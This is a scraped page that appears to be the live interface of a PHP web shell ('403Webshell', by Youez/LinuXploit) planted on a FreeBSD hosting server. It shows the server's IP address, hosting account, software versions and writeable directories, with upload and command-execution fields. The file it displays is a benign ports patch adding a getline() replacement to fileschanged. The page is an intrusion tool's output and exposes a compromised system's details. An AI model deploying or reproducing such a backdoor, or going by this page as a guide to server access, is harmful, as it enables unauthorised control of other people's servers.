403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/fileschanged/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/fileschanged/files/patch-filelist.c
--- src/filelist.c.orig	Wed Apr 19 21:42:28 2006
+++ src/filelist.c	Mon Jun  4 21:31:54 2007
@@ -4,7 +4,6 @@
 #include <stdlib.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <error.h>
 #include "gettext.h"
 #include <libgen.h>
 #include <unistd.h>
@@ -16,6 +15,31 @@
 #include "listdirs.h"
 extern struct arguments_t arguments;
 
+#if defined(__FreeBSD__)
+ssize_t getline(char **lineptr, size_t *n, FILE *stream)
+{
+ char *line;
+ size_t len;
+
+ line = fgetln(stream, &len);
+ if (!line)
+  return -1;
+ if (len >= *n) {
+  char *tmp;
+
+  /* XXX some realloc() implementations don't set errno */
+  tmp = realloc(*lineptr, len + 1);
+  if (!tmp)
+   return -1;
+  *lineptr = tmp;
+  *n = len + 1;
+ }
+ memcpy(*lineptr, line, len);
+ (*lineptr)[len] = 0;
+ return len;
+}
+#endif
+
 /*
  * filelist.c:
  *   int filelist_populate (void *list_of_files_to_monitor);
@@ -74,7 +98,7 @@
     {
       fileptr = fopen (filename, "r");
       if (!fileptr)
-	error(1, 0, _("Error: couldn't open '%s'\n"), filename);
+	fprintf(stderr, _("Error: couldn't open '%s'\n"), filename);
     }
   while (getline (&line, &n, fileptr) > 0)
     {

Youez - 2016 - github.com/yon3zu
LinuXploit